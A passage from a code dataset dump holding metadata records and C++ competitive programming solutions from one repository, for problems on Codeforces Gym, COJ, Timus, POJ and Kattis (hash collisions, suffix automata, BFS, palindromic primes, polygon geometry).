"5815c3c576063f02cb5469f11ce1a0fc878629d1", "content_id": "c6b0186d87aec87506d65bf45129ab5976e72db7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1497, "license_type": "no_license", "max_line_length": 90, "num_lines": 54, "path": "/Codeforces-Gym/100801 - 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest\n// 100801H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring ans[1005];\n\nint main() {\n //ios::sync_with_stdio(false);\n //cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n freopen(\"hash.in\", \"r\", stdin);\n freopen(\"hash.out\", \"w\", stdout);\n\n\n string alph;\n for (char i = 'a'; i <= 'z'; i++) alph += i;\n for (char i = 'A'; i <= 'Z'; i++) alph += i;\n map <int, vector <string> > cnt;\n for (int i = 0; i < alph.size(); i++) {\n for (int j = 0; j < alph.size(); j++) {\n int hash = 31 * alph[i] + alph[j];\n string tmp; tmp += alph[i]; tmp += alph[j];\n cnt[hash].push_back(tmp);\n }\n }\n vector <pair <string, string> > v;\n for (map <int , vector <string> >::iterator it = cnt.begin(); it != cnt.end(); it++) {\n if (it->second.size() > 1) {\n for (int i = 0; i < it->second.size(); i++) {\n v.push_back(make_pair(it->second[0], it->second[1]));\n }\n }\n }\n int k;\n cin >> k;\n int x = 0;\n while ((1 << x) < k) x++;\n for (int i = 0; i < k && i < (1 << x); i++) {\n string tmp;\n for (int j = 0; j < x; j++) {\n if (i & (1 << j)) {\n tmp += v[j].first;\n } else {\n tmp += v[j].second;\n }\n }\n //int hash = 0;\n //for (int i = 0; tmp[i]; i++) hash = 31 * hash + tmp[i];\n cout << tmp << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.4134615361690521, "alphanum_fraction": 0.4759615361690521, "avg_line_length": 12.857142448425293, "blob_id": "37024b99f533a7fed8e87ed4cb02351aa02c02f1", "content_id": "305112ffe173a447eed888c610d204711707c276", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 208, "license_type": "no_license", "max_line_length": 74, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p1837-Accepted-s549668.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint c;\r\ndouble a;\r\n\r\nint main()\r\n{\r\n\tfor(scanf(\"%d\",&c); c--;)\r\n\t{\r\n\t\tscanf(\"%lf\",&a);\r\n\t\tprintf(\"%.4lf\\n\",12*a*a*( sin(M_PI/12.0)/(2.0*sqrt(2.0)) - M_PI/48.0 ));\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3834296762943268, "alphanum_fraction": 0.4296724498271942, "avg_line_length": 13.727272987365723, "blob_id": "13fde028e092ebd2a9cf3447f5a46d5442de98d6", "content_id": "4644c0d1c72a0841449cd2ae86ff23f67972501c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 519, "license_type": "no_license", "max_line_length": 31, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p3806-Accepted-s1120098.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tconst int N = 10000;\r\n\tconst int INF = 500 * 1000;\r\n\tvector <int> cnt(INF);\r\n\tvector <int> u(N);\r\n\tu[0] = 1;\r\n\tu[1] = 2;\r\n\tcnt[3] = 1;\r\n\tint pos = 3;\r\n\tfor (int i = 2; i < N; i++) {\r\n\t\twhile (cnt[pos] != 1) {\r\n\t\t\tpos++;\r\n\t\t}\r\n\t\tu[i] = pos++;\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tcnt[u[i] + u[j]]++;\r\n\t\t}\r\n\t}\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tcout << u[n - 1] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35694822669029236, "alphanum_fraction": 0.3841961920261383, "avg_line_length": 26.230770111083984, "blob_id": "ff82c66a34dd68f19ea1f4036858589302daf1b4", "content_id": "b6de809d2ef122646d0c7373f0dc28244bb00e67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 367, "license_type": "no_license", "max_line_length": 85, "num_lines": 13, "path": "/COJ/eliogovea-cojAC/eliogovea-p1226-Accepted-s468562.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nunsigned long long n,m,i;\r\n\r\nint main(){\r\n while(cin >> n && n!=-1){\r\n while(n%2==0){cout << \" \"<< 2 << endl; n/=2;}\r\n for(i=3; i*i<=n; i+=2)while(n%i==0){cout << \" \" << i << endl; n/=i;}\r\n if(n>1)cout << \" \" << n << endl << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.41938674449920654, "alphanum_fraction": 0.4688427448272705, "avg_line_length": 17.053571701049805, "blob_id": "fe7cabc88028f3f4b20a8e64e391db47a0bdb494", "content_id": "8eae629be95033323422b1a5e405338c6d55aeeb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1011, "license_type": "no_license", "max_line_length": 125, "num_lines": 56, "path": "/Codeforces-Gym/100497 - 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)\n// 100497E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\ntypedef long long LL;\n\nint n, k;\nLL vals[N];\nLL L[N], R[N];\nLL f[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n >> k;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> vals[i];\n\t}\n\tfor (int i = 0; i < n; i++) {\n\t\tL[i] = -1;\n\t\tR[i] = n;\n\t}\n\tstack <int> S;\n\tfor (int i = 0; i < n; i++) {\n\t\twhile (S.size() && vals[S.top()] > vals[i]) {\n\t\t\tR[S.top()] = i;\n\t\t\tS.pop();\n\t\t}\n\t\tS.push(i);\n\t}\n\tS = stack <int>();\n\tfor (int i = n - 1; i >= 0; i--) {\n\t\twhile (S.size() && vals[S.top()] > vals[i]) {\n\t\t\tL[S.top()] = i;\n\t\t\tS.pop();\n\t\t}\n\t\tS.push(i);\n\t}\n\n\tLL sum = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\tf[i] = (long long)(R[i] - i) * (i - L[i]) * (R[i] - L[i]) / 2LL;\n\t\tsum += f[i] * vals[i];\n\t}\n\tsort(f, f + n, greater <LL>());\n\tfor (int i = 0; i < k; i++) {\n\t\tsum += f[i];\n\t}\n\tcout << sum << \"\\n\";\n\n}\n" }, { "alpha_fraction": 0.4058469533920288, "alphanum_fraction": 0.4307824671268463, "avg_line_length": 19.421052932739258, "blob_id": "10f3c304950bd1059788a0b8aa32c548251d4fd5", "content_id": "0107e9212790a9a70d08f47328d1b7efecf54c05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1163, "license_type": "no_license", "max_line_length": 118, "num_lines": 57, "path": "/Codeforces-Gym/101078 - 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)\n// 101078I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nlist<char> pass;\nlist<char>::iterator p, aux;\nvoid go_left( ){\n if( p == pass.begin() )\n return;\n p--;\n}\nvoid go_right( ){\n if( p == pass.end() )\n return ;\n p++;\n}\nvoid backspace( ){\n if( p == pass.begin() )\n return;\n aux = p; aux--;\n pass.erase( aux );\n}\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n int tc;\n cin >> tc;\n string command;\n while( tc-- ){\n pass.clear();\n p = pass.end();\n cin >> command;\n for( int i = 0; i < command.size(); i++ ){\n char c = command[i];\n if( c == '<' )\n go_left();\n else if( c == '>' )\n go_right();\n else if( c == '-' )\n backspace();\n else{\n pass.insert( p, c );\n }\n\n }\n for( p = pass.begin() ; p != pass.end(); p++ )\n cout << *p;\n cout << '\\n';\n }\n\n}" }, { "alpha_fraction": 0.4946114718914032, "alphanum_fraction": 0.5110607147216797, "avg_line_length": 15.65999984741211, "blob_id": "0ce55fcbb58159be962434dbb2c644416385d7da", "content_id": "242100c39182d39188e0d91549318095b1c85682", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1763, "license_type": "no_license", "max_line_length": 84, "num_lines": 100, "path": "/Timus/1590-7211201.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1590\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXS = 2 * 5000 + 1;\r\n\r\nint length[MAXS + 1];\r\nmap <char, int> next[MAXS + 1];\r\nint suffixLink[MAXS + 1];\r\n\r\nint size;\r\nint last;\r\n\r\nint getNew(int _length) {\r\n\tint now = size++;\r\n\tlength[now] = _length;\r\n\tnext[now] = map <char, int> ();\r\n\tsuffixLink[now] = -1;\r\n\treturn now;\r\n}\r\n\r\nint getClone(int from, int _length) {\r\n\tint now = size++;\r\n\tlength[now] = _length;\r\n\tnext[now] = next[from];\r\n\tsuffixLink[now] = suffixLink[from];\r\n\treturn now;\r\n}\r\n\r\nvoid init() {\r\n\tsize = 0;\r\n\tlast = getNew(0);\r\n}\r\n\r\nvoid add(int c) {\r\n\tint p = last;\r\n\tint cur = getNew(length[p] + 1);\r\n\twhile (p != -1 && next[p].find(c) == next[p].end()) {\r\n\t\tnext[p][c] = cur;\r\n\t\tp = suffixLink[p];\r\n\t}\r\n\tif (p == -1) {\r\n\t\tsuffixLink[cur] = 0;\r\n\t} else {\r\n\t\tint q = next[p][c];\r\n\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\tsuffixLink[cur] = q;\r\n\t\t} else {\r\n\t\t\tint clone = getClone(q, length[p] + 1);\r\n\t\t\tsuffixLink[q] = clone;\r\n\t\t\tsuffixLink[cur] = clone;\r\n\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\tnext[p][c] = clone;\r\n\t\t\t\tp = suffixLink[p];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tlast = cur;\r\n}\r\n\r\nbool visited[MAXS];\r\nint DP[MAXS];\r\n\r\nint dfs(int u) {\r\n\tif (visited[u]) {\r\n\t\treturn DP[u];\r\n\t}\r\n\tvisited[u] = true;\r\n\tDP[u] = 1;\r\n\tfor (map <char, int> :: iterator it = next[u].begin(); it != next[u].end(); it++) {\r\n\t\tDP[u] += dfs(it->second);\r\n\t}\r\n\treturn DP[u];\r\n}\r\n\r\nint t;\r\nint n, k;\r\nstring s;\r\n\r\nvoid solve() {\r\n\tcin >> s;\r\n\tinit();\r\n\tfor (int i = 0; i < s.size(); i++) {\r\n\t\tadd(s[i]);\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 1; i < size; i++) {\r\n ans += length[i] - length[suffixLink[i]];\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tsolve();\r\n}\r\n" }, { "alpha_fraction": 0.4938775599002838, "alphanum_fraction": 0.5265306234359741, "avg_line_length": 11.894737243652344, "blob_id": "237c0e9325b1ea30fd5b3d39c2427671fce3343d", "content_id": "a3f057a579b2e543a38b7fddd1340b0de48cd44b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 245, "license_type": "no_license", "max_line_length": 47, "num_lines": 19, "path": "/POJ/2484.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nusing namespace std;\n\nconst int N = 1000;\n\nint grundy[N + 5];\nint used[N + 5];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint n;\n\twhile (cin >> n && n) {\n\t\tcout << ((n <= 2) ? \"Alice\" : \"Bob\") << \"\\n\";\n\t}\n\n}\n" }, { "alpha_fraction": 0.3321428596973419, "alphanum_fraction": 0.3404761850833893, "avg_line_length": 12.608695983886719, "blob_id": "83471161d0fe2371df72c4923f3f7f740e7543d9", "content_id": "28f261b79f708e8e1e85ca59b49ffb1edae59057", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1680, "license_type": "no_license", "max_line_length": 43, "num_lines": 115, "path": "/Caribbean-Training-Camp-2017/Contest_5/Solutions/C5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\ntypedef pair<int,int> par;\r\n\r\nconst int MAXN = 100100;\r\n\r\nint p[MAXN];\r\nll w[MAXN];\r\n\r\nvoid splay( int u, int son = 0 ){\r\n if( p[u] ){\r\n splay( p[u] , u );\r\n }\r\n\r\n p[u] = son;\r\n w[u] = w[son];\r\n}\r\n\r\ntypedef long long ll;\r\n\r\nll sol;\r\n\r\nint mk[MAXN];\r\nint mark;\r\n\r\nint getlca( int u, int v ){\r\n mk[u] = ++mark;\r\n int x = u;\r\n\r\n while( p[x] ){\r\n x = p[x];\r\n mk[x] = mark;\r\n }\r\n\r\n x = v;\r\n if( mk[x] == mark ){\r\n return x;\r\n }\r\n\r\n while( p[x] ){\r\n x = p[x];\r\n if( mk[x] == mark ){\r\n return x;\r\n }\r\n }\r\n\r\n return 0;\r\n}\r\n\r\nvoid add( int u, int v, ll c ){\r\n if( u == v ){\r\n return;\r\n }\r\n\r\n int lca = getlca( u , v );\r\n\r\n if( !lca ){\r\n sol += c;\r\n splay(v);\r\n p[v] = u;\r\n w[v] = c;\r\n return;\r\n }\r\n\r\n int max_wv = 0;\r\n int x = u;\r\n while( x != lca ){\r\n if( w[max_wv] < w[x] ){\r\n max_wv = x;\r\n }\r\n\r\n x = p[x];\r\n }\r\n\r\n x = v;\r\n while( x != lca ){\r\n if( w[max_wv] < w[x] ){\r\n max_wv = x;\r\n }\r\n\r\n x = p[x];\r\n }\r\n\r\n if( w[max_wv] < c ){\r\n return;\r\n }\r\n\r\n sol += ( c - w[max_wv] );\r\n p[max_wv] = 0;\r\n w[max_wv] = 0;\r\n\r\n splay(v);\r\n\r\n p[v] = u;\r\n w[v] = c;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n int n, m; cin >> n >> m;\r\n\r\n for( int i = 1; i <= m; i++ ){\r\n int u, v; ll c; cin >> u >> v >> c;\r\n add( u , v , c );\r\n\r\n cout << sol << '\\n';\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4375, "alphanum_fraction": 0.4509069323539734, "avg_line_length": 23.267942428588867, "blob_id": "410bcefa8d107104f4fcbb9f33af72fb1ef9c32a", "content_id": "8e88d5f18cb4b99643d9a947584b161d82c5c0ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5072, "license_type": "no_license", "max_line_length": 103, "num_lines": 209, "path": "/Kattis/airport.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// https://icpc.kattis.com/problems/airport\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long double LD;\n\ntypedef long long LL;\n\ninline int sign(const LL x) {\n return (x < 0) ? -1 : (x > 0);\n}\n\nstruct point {\n LL x, y;\n point() {}\n point(LL _x, LL _y) : x(_x), y(_y) {}\n};\n\nbool operator < (const point &P, const point &Q) {\n if (P.y != Q.y) {\n return P.y < Q.y;\n }\n return P.x < Q.x;\n}\n\nbool operator == (const point &P, const point &Q) {\n return !(P < Q) && !(Q < P);\n}\n\npoint operator - (const point &P, const point &Q) {\n return point(P.x - Q.x, P.y - Q.y);\n}\n\ninline LL cross(const point &P, const point &Q) {\n return P.x * Q.y - P.y * Q.x;\n}\n\nvector <point> normalize(vector <point> pts) {\n pts.erase(unique(pts.begin(), pts.end()), pts.end());\n while (pts.size() > 1 && pts.back() == pts[0]) {\n pts.pop_back();\n }\n rotate(pts.begin(), min_element(pts.begin(), pts.end()), pts.end());\n int pos = 2;\n for (int i = 2; i < pts.size(); i++) {\n if (sign(cross(pts[pos - 1] - pts[pos - 2], pts[i] - pts[pos - 2])) == 0) {\n pos--;\n }\n pts[pos++];\n }\n if (sign(cross(pts[pos - 1] - pts[pos - 2], pts[0] - pts[pos - 2])) == 0) {\n pos--;\n }\n pts.resize(pos);\n /// points in counter clock wise\n LL area = 0;\n for (int i = 0; i < pts.size(); i++) {\n area += cross(pts[i], pts[(i + 1 == pts.size()) ? 0 : i + 1]);\n }\n if (area < 0) {\n reverse(pts.begin(), pts.end());\n }\n return pts;\n}\n\nconst LD EPSILON = 1e-9;\n\ninline int sign(const LD x) {\n return (x < -EPSILON) ? -1 : (x > EPSILON);\n}\n\nstruct point_LD {\n LD x, y;\n point_LD() {}\n point_LD(LD _x, LD _y) : x(_x), y(_y) {}\n};\n\nbool operator < (const point_LD &P, const point_LD &Q) {\n if (P.y != Q.y) {\n return P.y < Q.y;\n }\n return P.x < Q.x;\n}\n\npoint_LD get(point P) {\n return point_LD((LD)P.x, (LD)P.y);\n}\n\npoint_LD operator + (const point_LD &P, const point_LD &Q) {\n return point_LD(P.x + Q.x, P.y + Q.y);\n}\n\npoint_LD operator - (const point_LD &P, const point_LD &Q) {\n return point_LD(P.x - Q.x, P.y - Q.y);\n}\n\npoint_LD operator * (const point_LD &P, LD k) {\n return point_LD(P.x * k, P.y * k);\n}\n\ninline LD dot(const point_LD &P, const point_LD &Q) {\n return P.x * Q.x + P.y * Q.y;\n}\n\ninline LD cross(const point_LD &P, const point_LD &Q) {\n return P.x * Q.y - P.y * Q.x;\n}\n\ninline LD dist(const point_LD &P, const point_LD &Q) {\n return sqrtl(dot(P - Q, P - Q));\n}\n\ninline point_LD intersect(const point_LD &A, const point_LD &B, const point_LD &C, const point_LD &D) {\n LD t = cross(C - A, C - D) / cross(B - A, C - D);\n return A * (1.0 - t) + B * t;\n // return A + (B - A) * (cross(C - A, C - D) / cross(B - A, C - D));\n}\n\nstruct comparator {\n point_LD A, B;\n comparator(point_LD _A, point_LD _B) {\n A = _A;\n B = _B;\n }\n bool operator () (const point_LD &P, const point_LD &Q) {\n return dot(P - A, B - A) < dot(Q - A, B - A);\n }\n};\n\nLD solve(const vector <point> &pts, const point &P, const point &Q) {\n int n = pts.size();\n\n vector <int> s(n);\n for (int i = 0; i < n; i++) {\n s[i] = sign(cross(Q - P, pts[i] - P));\n }\n\n vector <point_LD> v;\n\n for (int i = 0; i < n; i++) {\n if (s[i] != 0) {\n int ne = (i + 1 == n) ? 0 : i + 1;\n if (s[ne] * s[i] == -1) {\n v.push_back(intersect(get(P), get(Q), get(pts[i]), get(pts[ne])));\n }\n }\n }\n\n for (int i = 0; i < n; i++) {\n if (s[i] == 0) {\n int ne = (i + 1 == n) ? 0 : i + 1;\n int pr = (i == 0) ? n - 1 : i - 1;\n if (s[ne] == s[pr]) {\n continue;\n }\n if (s[pr] == 0) {\n if (sign(cross(pts[i] - pts[pr], pts[ne] - pts[pr])) == 1) {\n v.push_back(get(pts[i]));\n }\n } else if (s[ne] == 0) {\n if (sign(cross(pts[ne] - pts[i], pts[pr] - pts[i])) == 1) {\n v.push_back(get(pts[i]));\n }\n } else {\n v.push_back(get(pts[i]));\n }\n }\n }\n\n sort(v.begin(), v.end(), comparator(get(P), get(Q)));\n LD result = 0.0;\n for (int i = 0; i + 1 < v.size(); i += 2) {\n result = max(result, dist(v[i], v[i + 1]));\n }\n return result;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"input-timus-1955.txt\", \"r\", stdin);\n\n int n;\n cin >> n;\n\n vector <point> pts(n);\n for (int i = 0; i < n; i++) {\n cin >> pts[i].x >> pts[i].y;\n }\n\n // pts = normalize(pts);\n // n = pts.size();\n\n LD answer = 0.0;\n for (int i = 0; i < n; i++) {\n answer = max(answer, dist(get(pts[i]), get(pts[i + 1 == n ? 0 : i + 1])));\n }\n for (int i = 0; i < n; i++) {\n for (int j = i + 1; j < n; j++) {\n answer = max(answer, solve(pts, pts[i], pts[j]));\n }\n }\n cout.precision(14);\n cout << fixed << answer << \"\\n\";\n\n}\n" }, { "alpha_fraction": 0.42307692766189575, "alphanum_fraction": 0.44871795177459717, "avg_line_length": 17.9069766998291, "blob_id": "0feadabb9cdb39dfd666ce0a966bc3739b754742", "content_id": "3e2e3b885c73c65af8f8a8a156438e1cc4e6b329", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 858, "license_type": "no_license", "max_line_length": 96, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2842-Accepted-s618087.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n\r\n\r\nconst int MAXN = 10000000;\r\n\r\nbool criba[MAXN + 5];\r\n\r\nbool pal(int n) {\r\n if (criba[n]) return 0;\r\n int rev = 0, m = n;\r\n while (n) {\r\n rev = 10 * rev + n % 10;\r\n n /= 10;\r\n }\r\n return m == rev;\r\n}\r\n\r\nvector<int> v;\r\nint tc, a, b;\r\n\r\nint main() {\r\n for (int i = 2; i * i <= MAXN; i++)\r\n if (!criba[i])\r\n for (int j = i * i; j <= MAXN; j +=i)\r\n criba[j] = 1;\r\n v.push_back(2);\r\n for (int i = 3; i <= MAXN; i += 2)\r\n if (pal(i)) v.push_back(i);\r\n scanf(\"%d\", &tc);\r\n while (tc--) {\r\n scanf(\"%d%d\", &a, &b);\r\n printf(\"%d\\n\", upper_bound(v.begin(), v.end(), b) - lower_bound(v.begin(), v.end(), a));\r\n }\r\n\r\n}\r\n\r\n" }, { "alpha_fraction": 0.3191593289375305, "alphanum_fraction": 0.34115347266197205, "avg_line_length": 20, "blob_id": "66feffd857361998a5304ed4d472a6e779e35f5f", "content_id": "c3ba3bd0922b91f4bea375124151f8a9cd58942b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2046, "license_type": "no_license", "max_line_length": 74, "num_lines": 93, "path": "/COJ/eliogovea-cojAC/eliogovea-p3709-Accepted-s1009542.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 105;\r\n\r\nconst int dx[] = {0, 1, 0, -1};\r\nconst int dy[] = {1, 0, -1, 0};\r\n\r\nint X, Y, Z;\r\nstring m[N][N];\r\nint depth[N][N][N];\r\nqueue <int> Q;\r\nint xs, ys, zs;\r\nint xe, ye, ze;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> X >> Y >> Z) {\r\n\t\tif (X == 0 && Y == 0 && Z == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tfor (int z = 0; z < Z; z++) {\r\n\t\t\tfor (int x = 0; x < X; x++) {\r\n\t\t\t\tcin >> m[z][x];\r\n\t\t\t\tfor (int y = 0; y < Y; y++) {\r\n\t\t\t\t\tif (m[z][x][y] == 'S') {\r\n\t\t\t\t\t\txs = x;\r\n\t\t\t\t\t\tys = y;\r\n\t\t\t\t\t\tzs = z;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (m[z][x][y] == 'E') {\r\n\t\t\t\t\t\txe = x;\r\n\t\t\t\t\t\tye = y;\r\n\t\t\t\t\t\tze = z;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t//cout << \"start: \" << xs << \" \" << ys << \" \" << zs << \"\\n\";\r\n\t\t//cout << \"end: \" << xe << \" \" << ye << \" \" << ze << \"\\n\";\r\n\t\tfor (int x = 0; x < X; x++) {\r\n\t\t\tfor (int y = 0; y < Y; y++) {\r\n\t\t\t\tfor (int z = 0; z < Z; z++) {\r\n\t\t\t\t\tdepth[x][y][z] = -1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tdepth[xs][ys][zs] = 0;\r\n\t\tQ = queue <int>();\r\n\t\tQ.push(xs);\r\n\t\tQ.push(ys);\r\n\t\tQ.push(zs);\r\n\t\twhile (!Q.empty()) {\r\n\t\t\tint x = Q.front(); Q.pop();\r\n\t\t\tint y = Q.front(); Q.pop();\r\n\t\t\tint z = Q.front(); Q.pop();\r\n\t\t\tfor (int i = 0; i < 4; i++) {\r\n\t\t\t\tint nx = x + dx[i];\r\n\t\t\t\tint ny = y + dy[i];\r\n\t\t\t\tif (nx >= 0 && nx < X && ny >= 0 && ny < Y) {\r\n\t\t\t\t\tif (m[z][nx][ny] != '#' && depth[nx][ny][z] == -1) {\r\n\t\t\t\t\t\tdepth[nx][ny][z] = depth[x][y][z] + 1;\r\n\t\t\t\t\t\tQ.push(nx);\r\n\t\t\t\t\t\tQ.push(ny);\r\n\t\t\t\t\t\tQ.push(z);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (m[z][x][y] == '-') {\r\n\t\t\t\tif (z - 1 >= 0 && m[z - 1][x][y] == '-' && depth[x][y][z - 1] == -1) {\r\n\t\t\t\t\tdepth[x][y][z - 1] = depth[x][y][z] + 1;\r\n\t\t\t\t\tQ.push(x);\r\n\t\t\t\t\tQ.push(y);\r\n\t\t\t\t\tQ.push(z - 1);\r\n\t\t\t\t}\r\n\t\t\t\tif (z + 1 < Z && m[z + 1][x][y] == '-' && depth[x][y][z + 1] == -1) {\r\n\t\t\t\t\tdepth[x][y][z + 1] = depth[x][y][z] + 1;\r\n\t\t\t\t\tQ.push(x);\r\n\t\t\t\t\tQ.push(y);\r\n\t\t\t\t\tQ.push(z + 1);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (depth[xe][ye][ze] != -1) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << depth[xe][ye][ze] << \"\\n\";\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.38893845677375793, "alphanum_fraction": 0.42105263471603394, "avg_line_length": 20.420000076293945, "blob_id": "b0918de435541e5b44b6c5426888d49b946fea8f", "content_id": "7f1aee45c83e4f25d8d4245ba8237cb5d686f6ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1121, "license_type": "no_license", "max_line_length": 56, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p3023-Accepted-s696631.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <cmath>\r\n#include <cstdlib>\r\n#include <algorithm>\r\n#include <list>\r\n#include <vector>\r\n#include <stack>\r\n#include <bitset>\r\n#include <queue>\r\n#include <set>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100;\r\n\r\nint n, k, cnt;\r\ndouble dp[N + 5][15];\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\twhile (cin >> k >> n) {\r\n\t\tcnt = 0;\r\n\t\tfor (int i = 0; i <= k; i++) dp[1][i] = 1;\r\n\t\tfor (int i = 2; i <= n; i++) {\r\n\t\t for (int j = 0; j <= k; j++) {\r\n\t\t\t\tdp[i][j] = dp[i - 1][j];\r\n\t\t\t\tif (j - 1 >= 0) dp[i][j] += dp[i - 1][j - 1];\r\n\t\t\t\tif (j + 1 <= k) dp[i][j] += dp[i - 1][j + 1];\r\n\t\t\t\t//cout << i << \" \" << j << \" \" << dp[i][j] << \"\\n\";\r\n\t\t\t}\r\n\t\t\twhile (cnt < n && dp[i][k / 2] > k + 1.0) {\r\n\t\t\t\tcnt++;\r\n\t\t\t\tfor (int j = 0; j <= k; j++)\r\n\t\t\t\t\tdp[i][j] /= (k + 1.0);\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (; cnt < n; cnt++) {\r\n\t\t\tfor (int i = 0; i <= k; i++)\r\n\t\t\t\tdp[n][i] /= (k + 1.0);\r\n\t\t}\r\n\t\tlong double a = 0, b = 1.0;\r\n\t\tfor (int i = 0; i <= k; i++) a += dp[n][i];\r\n\t\ta *= 1e2;\r\n\t\tcout.precision(5);\r\n\t\tcout << fixed << a << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36741214990615845, 